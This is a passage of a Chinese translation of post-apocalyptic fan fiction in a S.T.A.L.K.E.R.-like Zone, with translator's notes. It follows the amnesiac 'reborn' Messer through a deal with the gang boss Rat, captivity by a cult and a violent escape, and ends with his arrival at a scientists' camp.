老鼠瘦削、挺拔、甚至优雅(译者注:原来不是那个大肥子形象吗?),比已故的乌鸦眼大不了多少,但目光不同,透着冷漠和空洞。不是僵尸的空洞——沙漠中一口干涸的井,而是无底沼泽的空洞(四周是沼泽!只有沼泽!没有,没有任何别的东西!!!)。绝对清楚,死亡对这个人来说是如此平庸的事,以至于他已经预先认为周围所有人都是死人。可能也包括他自己。

“这就是你们吹嘘的重生者?”老鼠漠不关心地问,没有特别对谁。

和他一起过来的三个走狗,比他们的主人高一头、宽一倍,齐声说“是!”他们都剃着光头,额头窄小,但看起来干净、饱满,显然他们不必匍匐在沼泽里,也不必遭受酸性沉降,更不用吃打下来的乌鸦。

老鼠把他的鱼眼睛的目光钉在梅塞尔的鼻梁上,梅塞尔几乎肉体地感觉到,这个类似脑波怪的东西正不紧不慢地在他的大脑里翻找。

“我找你有个事要谈。”

“我空腹不喜欢谈生意,”尽管内心不适,梅塞尔几乎平静地回答。

老鼠的眼中闪过一丝兴趣的光芒,他显然不习惯别人顶撞他。

“你知道你在跟谁说话吗?”一个走狗插嘴道。

老鼠警告性地举起手:

“好吧,我等你……比如说一小时后,你满意吗?”

他笑了笑,更像是龇牙,然后不等回答,转身走回去。走狗们小跑着跟上去。

“你那样对他太不明智了,”独狼若有所思地摇摇头。“他是老鼠-5号,但与他的前任不同,他在这个位子上已经坐了半年多。而想坐他位子的人,你明白,足够多。不仅如此,他还组织了不间断的食物和弹药供应……”

“好吧,咱们最好检查一下这些供应有多不间断,以及那里有什么食物,”梅塞尔打断他(“……为了工作,而且是这种工作,现在得咬牙坚持。为了所有剩下的东西,得咬牙坚持。除了……过去……这从哪来?我以前也这么想过?!”)。“对了,供应从哪来?”

“有什么区别?”独狼惊讶地说。

“是啊,”梅塞尔叹了口气,他已经几乎习惯了不仅他一个人记忆有问题。看来所有特异区的居民,记忆都被仔细地锄过,所有妨碍在既定环境中运作的“杂草”都被小心地清除了。所有特异区的居民都像电脑游戏里的角色,有着严格规定范围的自由意志、思想和欲望。有着有限的一组精心挑选的“脚本”,预先准备好的结构,决定角色对给定情况的反应。而如果,上帝保佑,出现非标准情况呢?

“供应品里有什么喝的吗?”他问,决定把所有其他问题暂时留到更好的时候。

“当然有!”独狼明显松了口气喊道。


“……你和史特烈洛克不可能没有任何关系。很多人都知道他,甚至老鼠也怕他,”独狼因喝酒而脸红,但没有失去警惕。“而你呢,奇怪,我问过的人,没人记得。但这不可能——死亡卡车来自特异区最深处——意味着你去过那里,而要不被发现地走到那里……这里有点不对劲!你不可能一开始……就是从北方来的。”

“也许去过,也许没去过,”梅塞尔无精打采地同意,他不知为何想起了自己身上的伤疤,他显然以前就认识特异区,但现在他更感兴趣的是这里的秩序结构,而不是自己传记的细节。也许特异区也给他留下了印记,扭曲了他的意识和兴趣,或者也许丰富的食物和并不像预期那么难喝的饮料起了作用。“也许我们都是某个实验的受害者……也许我们被故意洗了脑,有人程度深,有人程度浅……”

苦相蹒跚走过,固执地看着自己脚下,只瞟了梅塞尔一眼就立刻转开,但当他们的目光接触时,梅塞尔感到:好像有某种电击在他们之间闪过。

(……城市不是死的,它只是……孤独的,就像僵尸……)

(……有时觉得,城市只有在有……僵尸的时候才存在……)

“史特烈洛克搅起了很多麻烦;据说他向北走了……”独狼喝了一口杯子里的酒,然后完全不合逻辑地问:“说实话,这里的菜不错吧?老鼠雇了两个小伙子,不是那些‘窄额头’,而是……”

“告诉我,狼,你喜欢住在特异区吗?”

“什么?”

“我问得不够清楚吗?”

“嗯,你看,”独狼看起来不知所措,但并非惊讶,“当然,我们在这里的生活,一方面,有点……奇特,另一方面……单调,但有两个细微差别。”

“哪两个?”

“首先,不知道其他地方发生了什么……”

“奇怪的是,你们对此完全不感兴趣,”梅塞尔想。

“其次,”狼顿了一下,突然环顾四周,把声音压低到几乎耳语,补充道,“还有这么个东西……黑石。”


12. 第6层。(续)。老鼠。

梅塞尔在两个卫兵的陪同下,沿着真正的老鼠通道下到下层,那里显然是那个生来杀手眼睛的主人的巢穴。和窄额头说话既没愿望也没意义,他们的额头既没有被智力、甚至没有被处于萌芽状态的理性所标记,只有本能。此外,梅塞尔试图消化独狼告诉他的信息。

“也许这正是我出现在这里的原因,”梅塞尔笑了笑。这一切看起来太奇幻了。

“你咧嘴笑什么?”其中一个打手小声说道。

“及时喝酒、合适地吃菜,这不就是幸福吗?”

“什么?”

“我们什么时候才能到地方?”梅塞尔叹了口气。

突然,一个打手哼了一声,向另一个眨了眨眼:

“这家伙急着要和他那独一无二的头分手。看来连他自己也感觉不到它有什么用。他除了这独一无二,一无所有。”

老鼠正等着,懒散地坐在椅子里,他的巢穴陈设简朴但雅致。一个巨大的多屏显示器几乎占满了一面墙。

“那么,电视摄像机运转正常,”梅塞尔咧嘴笑了。

“让我们单独待着,”老鼠说。

卫兵们困惑地对视一眼。

“我需要重复吗?”老鼠稍微提高了声音。

卫兵显然不情愿地离开了房间。老鼠站起来,锁上门,回到椅子上,冷漠地小声说:

“他们以为我不知道当兵的把他们安插在我身边。”

“他怎么对我这么坦诚?通常这发生在一个人信任对方的时候,这在这种情况下是荒谬的。或者他确切知道对话者的日子已经屈指可数,但这里,我想,他有点失算了……”

“你可能想:他怎么这么坦诚了,”老鼠咧嘴笑了。

“见鬼,他难道会读心?!”

“我也读不了心……几乎,”老鼠把他水汪汪的眼睛的目光钉在梅塞尔的鼻梁上,突然问:

“你知道黑石的传说吗?”

“不。”

“别撒谎!”

“好吧,可以说几乎什么都不知道。而且……我不信。”

“也没人要你信。我自己……也不信。几乎。”

“那你需要什么?”

“好样的!”老鼠又龇了龇牙,“聪明。我确实需要。需要你。”

“但我不需要你。”

“别粗鲁。”

“好吧。就当我正在仔细听……暂时。”

“这样好多了。坐吧,”老鼠宽容地点点头。“那么,关于黑石……”


……黑石。而在它周围,则是那些曾经来过这里的人……

这听起来太不真实了。梅塞尔没有相信独狼的话,现在他也不相信老鼠的话。原来,周围所有人都知道,在特异区的范围之内,存在着一整批曾经是秘密实验室的设施。它们是什么时候建的,又是为了什么目的,自然没有人在意。其中一部分在运作期间从事突变研究(译注:这里的意思也可能是进行突变本身),好在当时这里的环境很合适。曾经,特异区的能源心脏——核电站——发生了一场事故,放射性物质的泄漏污染了相当大的一片区域。后来建起了石棺,大部分放射性物质被埋在了厚达数米的混凝土之下。而在周围半径三十公里的范围内,这片领土变成了特异区。但在特异区的领土上,还有其他实验室,它们显然早在灾难发生之前很久就已经存在。更有甚者,有人在某处找到过一些零散的文件,根据这些文件可以推测,那场事故本身就是某些神秘实验的后果。至于这些文件到底在哪里、被谁看到过,谁也说不准。但相关的传言却很顽固。传言是没办法堵住的,就像可怜的霍普利特一样,你没法把传言从流通中抽走,哪怕动用一次成功的军事行动,或者依靠像“纪律团”这样专门收集并销毁纸质信息的组织——最近这段时间,他们这么做已经纯粹是出于惯性了。

其中一个谣言就是黑石的传说。

在废弃核电站的一个大厅里,据说存在一个能实现愿望的装置。它能将最隐秘的渴望物质化。这个童话甚至被赋予了某种近乎科学的基础。说是一个无法理解的装置,最初与某种密宗-超感官的东西有关,在石棺中发生的未知过程的影响下,获得了全新的属性,与时间转化为空间有关……也可能相反。

梅塞尔摇了摇头。不,他不信这些童话。装置本身可能存在,甚至也在以某种方式运作,但愿望与它有什么关系?全是胡说!

此外,这不可能与他本人有任何关系,因此是不重要的。或者可能?梅塞尔看着老鼠的眼睛,轻声问:

“你想从我这里得到什么?让我去替你许愿?”

“我可以和你玩捉迷藏,但我没欲望。我是说——玩捉迷藏,而我对黑石的愿望多得是。我听说的关于你的事,迫使我和盘托出。通往黑石的路上有三个装置,某种RD。潜行者说它们会让大脑‘沸腾’。”

“所以你认为我的大脑更耐火?”

“别讽刺。如果你真的是重生者,那你就曾经处于RD所形成的屏障的另一边。”

“即使我去过那里,我也什么都不记得。但难道我是唯一去过那里的人?你看呆在那边的苦相……”

“也许还有其他人。据说史特烈洛克去过,只是好久没人见过他了。”

“是你派他去电站的,”梅塞尔突然说。

老鼠咧嘴一笑:
“我只是提示了如何尝试做到这一点。”

“结果呢?”

“首先,我要是你,我会去某个科学家的营地。至少,在湖泊区域。他们……”

突然传来蜂鸣声。老鼠拨了一下桌上选择器的开关。

“有访客找您。”

“谁?”

“三号。”

老鼠颤抖了一下,关掉选择器,低沉地说:
“你最好离开。不,不是走这扇门,我带你走后门。为了你好,最好不要见这个人。”

“他太明显地关心我的利益了,”梅塞尔想。太反常,他一点也不信老鼠!

当梅塞尔身后的暗门关上后,老鼠重新坐到桌边,拨动选择器开关:
“让他进来。”

门猛地打开,一个穿着斗篷、戴着兜帽的人走进房间:
“你好,老鼠。决定背着我干你的勾当?”

“您好,少校。我完全是按照您的指示行事的。”


13. 第7层。前往科学家营地之路。

在地下通道出口处,独狼正等着梅塞尔。

“你在跟踪我,”梅塞尔并不惊讶,他预料到了。

“嗯,不止老鼠有广泛的能力。”

“你为谁工作?”

“不为谁。难怪人家叫我独狼。我只是想警告你:别信老鼠。”

“那我该信谁,你?”

“自己决定吧,”独狼笑了。“老鼠会出卖你、转卖你,但先会利用你。”

“那你呢?”

“我想帮你。”

“为了什么?”

独狼专注地看着梅塞尔,轻声说:
“不知为何,我觉得你能改变我们的世界。”

梅塞尔颤抖了一下,他突然感到,很久以前,在另一段他记得比在特异区的生活还少的生活里……

(……他目前拥有一切,而他没有的东西,只要他动动手指就会有人送来……然而,他时不时会陷入无缘无故的忧郁发作。那时,周围的一切开始显得愚蠢而毫无意义……)

……他有过类似的情况,但看来,当时他没能充分利用。在视野的边缘……难道命运对他如此眷顾,准备再次给他一个机会?它怎么会如此慷慨?

“要改变什么,首先得知道到底发生了什么,”梅塞尔阴沉地小声说。“再说,直到不久前,你似乎还满意一切。尽管有各种细微差别。”

当然,他有点言不由衷。与他在此逗留的最初几天(现在看来至少是“第二次”,对他这个“重生者”而言)不同,现在他的意识中存在着某种近乎完整的画面。更确切地说,它以前也存在,但他终于开始理解它了。但他的理解是否符合实际情况,还是个问题!这么多实验室、运作的装置、集中在这么小领土上的团伙和派系,更不用说怪物的多样性……这一切都让人模糊地联想到……一个试验场。也许特异区就是一个试验场,只是有点刻意,像一场巨大的电脑游戏。而且越是深入,梅塞尔越想知道是谁在按动键盘。

“许多潜行者试图从RD装置旁边溜过,”独狼轻声说。“有些人,据说,溜过去了。但从那以后没人见过他们。你是第一个,除了僵尸,能够几乎没明显损伤地从死亡卡车里出来的人。对了,关于僵尸——附近出现了几个,他们在找你。”

“让他们找吧,他们已经被剥夺得够多了,别再剥夺他们这最后的乐趣,”梅塞尔望着远方小声说。天气在变坏,从核电站方向开始刮起令人疲惫的北风。空气中感觉到大风暴时刻的临近。

“当你向电站移动时,许多人会试图跟上你,尤其是老鼠。黑石有点像石油和钻石:哪里有它,哪里就有贪婪、背叛和死亡。人们甚至不害怕这种说法:说它只实现最隐秘的、最珍视的梦想。但生活在这种条件下的我们,难道不能被怀疑,比如说,有隐秘的自我毁灭的愿望吗?”

“去它的哲学。在大风暴开始之前,我必须走了!”

(……毫不耽搁,走到下一个最近的掩体,以便合理利用这短暂的、由这片土地盛行的风所定期提供的喘息时间。有两次,风已经在开阔地带赶上了他。说实话,乐趣低于平均水平……从那以后,有一根肋骨就没长好。现在总不能重新打断吧!)

(……他走得很快,努力不看前方,也不提前猜测:前面会不会有可靠的掩体……有一次,他在一根管子里坐了整整五天,意识到如果第六天他没有足够的勇气离开,这根管子就会成为他的坟墓。但他离开了……就是在那时,风第一次袭击了他,也是那时他折断了肋骨……但在下一个平静期,他还是站起来,向前走……)

(……一直走到他倒下……而在下一个时期,他又站起来,再次向前走。当他再次倒下时,他爬着,直到失去知觉……)

“拿上我的步枪,”独狼把武器递给梅塞尔,“它已经救过你一次命。希望不是最后一次!”

独狼目送梅塞尔向北远去,然后拿出他的便携电脑,联系上了。


梅塞尔决定首先补充各种被称为神器的有用小东西的储备。现在他确切知道,最初这都是日常中最常见的东西,获得了意想不到的属性或完全陌生的外观。特异区中的大多数人视其为当然,懂得从中获益,而完全不在乎导致这一惊人转变的力量。当然,可以把在“杀手”巢穴里找到的所有文件卖给老鼠,然后在基地储备所需的一切,但不知为何梅塞尔下不了手。他还有乌鸦眼的食物储备,有独狼的步枪和左轮手枪。在特异区“正常”生活还需要什么?只需一点神器和运气。

向北的路穿过某个工业厂区。进入这里的人会感到自己是这神秘生活的陌生人,仿佛周围是某种巨大的消化系统。最令人惊讶的是,现在大部分机械和自动机仍在运转。该厂区不仅没有断电,甚至似乎特别活跃。虽然,这种感觉可能因没有人在而显得突出。但不能说厂区里没有生物。可能梅塞尔从未在任何地方见过如此多的各种畸形生物。当地的生物显然更适应在这些金属-石头丛林中生存,在开阔地带根本无法存活。它们灵巧地在螺旋金属楼梯上穿梭,沿着金属缆绳滑行。看来,它们中的一部分就以自动机生产的产品为食。总的来说,它们生活中的主要事情就是吃和交配。

不由自主地产生一种印象,好像整个这个厂区最初的存在,只是为了测试他梅塞尔的各种反应,好像这是一条障碍带,他必须通过(这种感觉被塞在最意想不到地方的电视摄像机的小眼睛所加强),以便……什么?揭示自己的本质?获得奖品?难道生活是为了让他生活在其中而组织的,难道这不是一个只能适应其中的独立过程?或者,仍有可能在其中改变什么?

又来了。他又开始滑入哲学的泥沼。而它们至今没给他带来任何好处。最好专注于通过路线,免得某个变种一口咬下去,一下子解决余生所有问题。而且大风暴来临的迹象越来越明显——你看,连畸形生物都变得活跃起来,就像地震前一样。得找个可靠的藏身之处,设好路障,躲进去。

在某座显然以前执行行政功能的建筑里,梅塞尔找到了一个还算可以接受的房间。有装甲门(也许以前是会计室),甚至还有残余的家具。他把柜子推到门边,用一条腿的写字桌顶住它,坐在地板上,把步枪搁在膝盖上,试图睡着……

……无尽的隧道,没有一丝光,黑暗中的呻吟和疯狂快乐的笑声……

……像动物一样,他在完全黑暗中纯粹本能地找到路,饥饿感让位于恐惧感,也是动物的,本能的……

……然后他倒下,爬了一段时间……

……他在奇怪而混乱的迷宫中游荡,墙壁柔韧温暖,摸上去粘滑,仿佛是活的……

……一声狂野的尖叫!……

当他醒来时,他很久搞不清楚这叫声他是在现实中听到的,还是……大风暴之后他总是病态地想吃东西。梅塞尔从背包里拿出罐头,开始漠然地嚼,努力什么也不想。

当他拆开路障走出房间时,在门外发现了其中一个老鼠的保镖的尸体。(那么,尖叫声不是幻觉,那其余的呢?)更确切地说,是它的残余。是啊,这可不是坐在掩体里炫耀你的肱二头肌。有趣,老鼠能访问这里的摄像头吗?他看到他养大的崽的死吗?他当时有什么感觉?他的“孪生兄弟”现在在哪?梅塞尔仔细检查了痕迹,更让他担心的是把“老鼠崽”弄成这样的东西。很可能是肉块。虽然它通常满足于普通老鼠。显然,大风暴使它变得特别活跃。命运的讽刺:“老鼠崽”,老鼠的走狗,死于老鼠吞噬者的牙齿。

但目前,大风暴对梅塞尔有利。大风暴后形成新的异常点。局部的引力变化、极端热灾变的移动区域,还有天知道什么!有异常点的地方,就会出现神器。梅塞尔首先感兴趣的是凝胶、黑色大头针,如果运气好的话,还有某人的武器或弹药,它们受到了异常点的影响。在这种情况下,武器会获得特别具有破坏性的特性。

最困难的是凝胶。它积聚在地下室,而地下室是各种邪恶生物最喜欢的栖息地。与栖息在地下室里的东西相比,吵闹鬼、瞎狗和野猪变种(开阔地带的居民)是可爱的小动物。而且凝胶本身也是个阴险的东西。有时觉得它也是活的,总想吃了你。

梅塞尔的计划不包括与其他潜行者见面,所以他不开便携电脑,并努力避免不必要的射击。有一次他从远处看到一队军人。梅塞尔没有离开掩体,观察了他们的行动。这是一次精心策划的清理行动。当兵的出现得很突然,散开成散兵线,包围了某个区域,然后有一段时间消失在视野中,淹没在工厂设备之间,当他们再次出现在视野中时,变得清楚,他们抓住了两个潜行者。一个当场被“崩了”,另一个被拖着走。他们消失得也很突然:刚才还在,然后就不见了。只有潜行者的尸体无声地指责着,向梅塞尔证明这不是幻觉。他们中是否有那位熟悉的少校,梅塞尔从那么远无法确定,即使借助独狼步枪的光学瞄准镜。

“有趣,他们是怎么发现他们的,”梅塞尔想,“通过便携电脑通讯,还是那些摄像头是他们的财产?但那时为什么没发现我?或者他们对我有别的计划?他们在和我玩……”

然后一记可怕的重击落到了梅塞尔的头上。


14. 第8层。“原罪”派系。

“天哪,他们疯了!”——看到角落里的十字架,他不禁打了个寒颤。起初他觉得十字架上挂着的是潜行者服装,或者好歹是个模型,但当篝火的火焰更亮地照亮了十字架上的人形时,梅塞尔清楚地看到,那是一具木乃伊化的人类遗骸,正是潜行者,而不是僵尸(现在他可以通过几乎无法用语言描述的微妙迹象轻易区分它们)。在墙上方的墙上,草草地写着一个词:“原罪”。而且笔迹似乎是血写的。

(……墙上的血!!!这是什么?幻觉还是具体现实的恐怖延续?被钉在十字架上的人……和……空虚……)

篝火旁坐着大约六个人,其中有一个病态苍白、全身裹在黑色斗篷里的人格外突出。他手里拿着一个人类头骨,颅顶被锯掉,正从里面啜饮着什么饮料。他的眼睛,映着篝火的光芒,是黑色的,呆滞的,可怕的,就像头领手里的头骨的眼窝。

“我这是倒了什么霉,”梅塞尔阴沉地想,扫视着周围的环境。巨大的房间像一个被改造成民族志博物馆的机库。整齐堆成金字塔的头骨,巨大玻璃容器里的伪巨兽的头,墙上狗牙做的项链,旁边一串干枯的老鼠尸体。还有一个奇怪的、与周围环境不协调的物品——一个巨大的保险柜。这一切都在房间中央点燃的篝火的不稳定光线下。梅塞尔自己的脑袋像一个刚裂开的钟——还在嗡嗡作响,但已经走调了。他不知道自己是怎么被弄到这里来的——他醒来时已经在这里,被冷水从头浇到脚,然后放在篝火前。

头领晃了一下,把他可怕杯子里的剩余液体泼进火里。一股令人窒息的甜涩味麻醉着大脑。然后大家都唱了起来……更确切地说,嚎了起来,那嚎声中有那么多的忧郁……

梅塞尔感到膝盖发软,他像麻袋一样瘫倒在吐满唾沫的肮脏地板上。

其余的一切他都像在雾中感知。

他们似乎在篝火旁跳舞,不时往火里泼某种液体,其醉人的蒸汽使意志像软化的橡皮泥一样顺从。

总之,当当地民俗乐团的演出结束时,梅塞尔已经对一切做好了准备。最乐观的预测是他们会剥他的皮吃了他。但不知为何这没有发生。头领突然举起戴着可疑像人齿手镯的手臂,寂静降临。

“你是被选中者,”头领用低沉的声音说。“伟大克里的第二次化身。”

“我用我的皮感觉到了,”梅塞尔想,盘算着如何把自己的生命卖得贵一点,反正它还没让他烦到甘愿让这些人吃掉……

“你是重生者,”头领坚持说,梅塞尔开始怀疑他们不会吃他。至少目前不会。


很难说梅塞尔对原罪团的成员来说成了什么。是护身符,是偶像,还是玩具。他被锁在钉死的潜行者的木乃伊旁边(史特烈洛克不会是在这里找到了他最后的安息地吧?或者是记者?)。但给他吃好的,总的来说态度可以忍受。他们彼此称灰兄弟,但任何试图与他们中任何人交谈的尝试都会引发不恰当的反应。在这种时候,他们会看着梅塞尔,就像看着一尊铜像,突然决定说出它在过去几千年里所想的东西。梅塞尔时不时怀疑,他们是在养肥他,然后吃掉!或者通过眼窝吸出“重生者”的大脑——这些家伙什么都干得出来!从而以此与他非凡的本质结合。他惊恐地意识到,他以前经历过类似的事情!

(……一天三次,一个沉默的赤裸身影端着一个碗出现在他的笼子前。她把碗通过地板上方网子的窄缝伸进去,同样沉默地拿走空餐具和满的便盆……)

(……到第四周结束时,他已经变得如此迟钝,以至于开始忘记个别的词语。反过来,如果他记得某个词,他常常已不记得它的意思……)

“好吧,老鼠,我会让你为此付出代价的!”梅塞尔几乎肯定,是老鼠的手下把原罪团的成员引向他的。尽管这也可能是某个其他人狡猾计划的一部分……或者仅仅是……实验的一个步骤。

他们拿走了他的一切,自由想都别想。只能认命。

认命?他们算什么东西,让他——见鬼,重生者!——只是在他们歌舞的疯狂伴奏下成为一个被钉十字架的候选人。

再一次,模糊的感觉,这一切他曾经历过。既然发生过,那他当时就找到了出路。

这意味着他也会找到。


救援来自外部。巢穴被一队潜行者袭击了。很可能是“晴空”团。梅塞尔听说过他们,他们痴迷于寻找治疗特异区溃疡的“药物”。许多潜行者感激他们。利用他们的知识,确实可以避免一些麻烦,也可以在麻烦不可避免时相对成功地疗伤。只是……不知道邪恶的起因,能治疗吗?

在这种情况下也是如此——过度的乐观和浅薄的了解让他们吃了亏。梅塞尔没看到战斗的经过,但从外面传来的声音可以很好地想象:原罪团显然占了上风,逐渐逼退了“疗法”的粉丝。

这里需要至少外科手术,甚至可能已是复苏!

对了,关于复苏和死人。梅塞尔仔细地看着被钉死的潜行者的遗骸,然后狂热地开始搜他的身。好在房间里只有他和木乃伊,最后没有人在唱歌、跳舞或打扰。

他得到了回报!在死者连体服的无数口袋之一,梅塞尔发现了一把极好的折叠刀,有很多刀片、锉刀、锥子、螺丝刀,以及大量各种各样精巧的工具。小事一桩——在胜利者回来之前打开手铐。

他又走运了。他一直走运。这令人警觉,但没有时间思考。手铐咔哒一声打开了。梅塞尔揉着手腕,急忙走向门,小心地向外看。他的逻辑推理在最坏的意义上得到了证实。原罪团成员冷漠而机械地杀死幸存的“疗法”医师。也许机库的主人半僵尸,在战术上输给了对手,但他们显然有野兽般的直觉,以及同样野兽般的生存和杀死任何侵犯这种生命的能力。

梅塞尔等一个半僵尸朝机库走去。需要迅速果断地行动。是时候用外科手术取代疗法了。坏死的组织必须切除,不等坏疽!

接下来梅塞尔像机器一样行动;也许这些技能他也掌握在过去,那个在噩梦中来访的过去。让敌人进来后,梅塞尔对他做了同样的事,就像对他自己做的那样——也就是说,用尽全力打他的后脑勺。然后把失去知觉的身体拖到十字架旁(毕竟这个符号里有点东西!),把他锁在原本给自己准备的位置上。为了不让替换物第一眼就被发现,他用破布盖住身体。然后,选择机库最远的角落,藏在箱子后面,开始等待。让胜利者都聚在一起,然后我们再看看今天谁过节。他把从那个代替他占据十字架下光荣位置的非自愿追随者那里拿来的武器在手里转了转。某种改装的火焰喷射器——像所有杀伤性武器一样,有着相同的运作原理:扣动扳机,死亡自会决定先去找谁。

梅塞尔(伟大克里的伪化身)的荣耀时刻到了。当派系成员聚集在十字架和被锁住的假重生者旁边,准备跳下一支疯狂舞蹈时,梅塞尔从藏身处走了出来……

他在机库里横冲直撞,播撒死亡,痉挛扣住的手指不停地扣动扳机。梅塞尔不停地射击,无法抑制,好像他用这些火焰唾液在呕吐……

而脑中一个烦人的背景音是那没完没了的叠句:

“跑!跑!跑!”

“可我不是在跑吗,”梅塞尔想,“我一直在跑。我存在的本质就体现在这奔跑中……”

“离开这里!!!离开!离开!!!趁还不晚!”

“天哪,看来我要疯了……”梅塞尔仿佛与脑中的异声作对,停了下来,停止了向四面扫射。

在随之而来的寂静中,可以清楚地听到覆盖整个大厅地面的闷烧的血肉碎片的噼啪声。

“这次你活下来了,”梅塞尔脑中一个陌生的声音平静地说。

梅塞尔环顾四周,看着自己双手的杰作,对自己的所作所为感到恐惧。

伟大的克里太残酷、太无情地惩罚了他迷失的兄弟们……


15. 第9层。科学家营地。

梅塞尔久久地看着死去头领的眼睛。实际上里面没有虹膜——只有一个巨大的瞳孔。派系成员肯定是变种了;也许他们代表了特异区的新一代。梅塞尔搜了头领连体服的口袋,但没有找到保险柜的钥匙。在头领脖子敞开的领子的缝隙里,可以看到用铜丝串起来的老鼠头骨珠子。梅塞尔凭直觉把珠子从死者怀里拽出来。果然:吊坠的位置是一个同样呈十字架形状的钥匙。

梅塞尔打开保险柜,惊得倒吸一口气:里面什么都有!纸文件夹、一串干瘪的人类手指、一罐腌制的变异野猪的眼球、几个便携电脑、一枚柠檬手榴弹(译者注:即苏联于二战时期开始量产的 F1 防御型手榴。与之相对的可能是苹果手榴弹,即 RGD-5 进攻性手榴弹)、几罐罐头。

梅塞尔开始匆忙地把背包塞得更满,不分青红皂白地塞进弹药、文件夹、一些他打算以后查明用途的奇怪东西,以及文件的内容。在烧焦的尸体中,他感到不自在。一个箱子里装满了军用连体服。梅塞尔选了一件较新的,换上了。他不想去想这可能是从尸体上扒下来的。装备齐全的是带光学瞄准镜的步枪——独狼的礼物。他习惯性地拿了一个便携电脑,尽管对使用它持怀疑态度。它太像公海上的一只浮标,救生员和掠食者都可能被它吸引。

他不仅成功离开了机库,还向北走了很远,这时通过受惊的乌鸦,梅塞尔断定有一支队伍正朝机库移动——一个人不可能引起这样的恐慌。

那是潜行者,大约八个人,他们显然既不属于原罪团,也不属于晴空团。通过他们克制的举止和在光学瞄准镜中清晰可见的平静面孔,梅塞尔得出结论,他们是杀手团的成员。那么,倒在军人火力下的那部分不是唯一的。有趣,他们这么着急去哪?也许他们有自己的人,哪怕只是在“潜行者”酒吧的访客中?梅塞尔苦笑。在摧毁原罪团的巢穴并“听到”声音后,梅塞尔几乎肯定,有人在他背后监视。要么是特异区的影响,要么是深入其领土本身就加剧了隐藏的或打开了新的信息渠道。虽然,当然,存在这只是幻觉的可能性。

“但我‘听到’了声音!”梅塞尔颤抖了一下。如果他已经开始大声自言自语,那么最好暂时不要下最终结论,同时也不要试图理解和联系所有事实。

也许他受到了脑波怪的影响?不,他感觉自己很自由!只是……半空。但空虚在慢慢而不可避免地填充。


继续向北前进,梅塞尔几乎肯定他会撞上某个科学家的营地。而且不应该是琥珀湖附近那个老鼠建议他去的营地。也许一切都是预先安排好的:挡住去路的军人们的行动;原罪团的袭击;以及如此恰到好处地出现在现场的“杀手”小队?也许老鼠想彻底干掉他。但那时为什么不在他的基地就动手,没有干扰和复杂的绕弯子呢?是怕自己脱不了干系?你看,连晴空团都试图攻击“杀手”的巢穴。他周围正在进行着某种复杂的斗争。也许,遗忘的过去仍能帮助弄清这一切?为什么记忆拒绝回忆?这是外部影响的结果,还是当受创的心理试图从意识中排除与创伤有关的一切时的内部防御反应?

梅塞尔已经离机库足够远了。当然,杀手们发现巢穴被毁后,可能会追踪他的脚印,但他们更可能认为这是晴空团干的,而梅塞尔和他们一起走了。难道所有人都相信这些关于重生者的愚蠢传说?难道他们对他的希望如此之大,以至于不惜自相残杀?难道特异区能提供的领土和东西还不够吗?

“我还没找到那些该死的RD装置,”梅塞尔想,“而大脑已经在沸腾的边缘了!”

不,也许他该休息一下。只是睡一觉。不期望每一分钟都可能被献祭,不感到手铐的冰冷和自己的无助,而是放松下来,忘掉自己,意识着自己自由,一切都只取决于他自己。而且最好不做任何梦。

命运的讽刺是,为了睡觉,梅塞尔不得不爬到树上,把自己绑在树干上。这是对自由的嘲弄,但这样更可靠。尽管可怜的霍普利特的信仰(关于龙与英雄的世界)和他的巢都没有救他。然而,在这种姿势下被吃掉的概率降到了最低。至于梦……

……许多脚的脚步声……

……恐惧,不知为何他脑中浮现出电动绞肉机的形象,一个人体被卷进其无情的叶片……

……清晰地听到骨头被磨碎的声音,但没马上明白这声音来自一个男孩……

……不离开瘦弱的屁股坐在地板上,一个像侏儒般的家伙,不眨眼地看着他,发出咯吱声……

……他没马上明白这小鬼在笑……

……从四面八方涌进来……男孩们。肮脏、衣衫褴褛、眼神疯狂而恶意、双手结着痂、武装着谁有什么:谁有喷漆罐、谁有电脑键盘、谁有桌椅腿、谁有完全无法理解的物品……

梅塞尔被绑在树上睡着了,睡梦中他颤抖着,额头冒汗,一滴孤独的泪珠顺着脸颊滚下。

当他四小时后醒来时,他感觉不是休息好了,更像是得了一场重病。


很难说他期望看到什么。但他的期望显然与观察到的现实不符。一小块场地被仔细清理过,周围按周长立着一些奇怪的装置——要么是防御性的,要么是警报器,而场地上有若干大型军用帐篷。那么,他期望看到什么?一个玻璃穹顶下,穿着白大褂的人忙碌着?

走近时,梅塞尔看到各种生物的烧焦遗骸,它们好像被某人专门沿着周界“烤”过。他从口袋里掏出一个螺帽,朝帐篷方向扔去。显然,这些巧妙的装置是引力浓缩器和“炙烤”的结合体,螺帽急剧改变了飞行轨迹并燃烧起来。它得加热到什么温度?整个过程完全无声,帐篷里也没人往外看。

“喂!有活的吗?”梅塞尔轻声喊道,尽量避免引起偶然的恐慌。一时冲动被烤熟可不好。

最近的帐篷里探出一张睡眼惺忪、头发蓬乱的脸。

“有趣,”梅塞尔想,“如果当时我朝他的前额开一枪,现在会怎样?”

“你要什么?”那张脸打着哈欠问,“要酒精吗?”

这太出乎意料了,梅塞尔一时不知所措。在特异区的腹地,到处游荡着可怕的怪物,发生着奇怪可怕的事情,人们死去,传说诞生——这样的……平庸的疯狂!

梅塞尔突然想大声吼道:“你怎么敢在重生者面前这样站?!”!(译者注:你牢梅也开始摆谱了)

但冲动是瞬间的,立刻过去了。

“等等,我马上关掉安保系统,”蓬乱头咕哝着消失在帐篷里。梅塞尔痉挛地吸了口气,试图为即将到来的谈话做好准备。


营地里只有三个科学家。一个上了年纪但精神奕奕的教授,一个胖而邋遢的副教授,和一个实验室助理,就是那个蓬乱头,刚才还想卖酒精给梅塞尔。这曾经是一个大型研究营地,志愿者来到这里,设备运到,但逐渐被遗忘。首先,志愿者停止了流动——外部世界出了点问题。梅塞尔本想问清楚那个外部世界是什么,但这只引起了科学家的恼火:“有什么好说的,如果特异区发生了这种事……每个正常的科学家都理应在这里!……”看来,他们以前也不怎么关心所有不在他们专业领域内的事情,而在这里,他们只是忘了,除了他们的野外实验室,还可能存在别的东西。

然后任何供应都完全停止了。实验室转向自给自足。年轻员工逐渐去了其他地方,有人加入了一些帮派,有人消失在特异区深处,有人死在试图获得更刁钻的神器的过程中。有些人成了特异区的传说。例如,疯狂医生。他曾经是实验室的一名员工,但似乎成了特异区的一部分。他出现了正常人不具备的特征。不,他不是字面意义上的变种人,但他身上有某种特别的东西……据说他可以从碎片中把被特异区弄残的潜行者收集起来。甚至从几个人的遗体中拼成一个。还有,据说他能和僵尸交流,甚至让他们恢复正常生活。不过,据同样的人说,他极少这么做,因为他认为僵尸根本不想回到“正常”的生活。

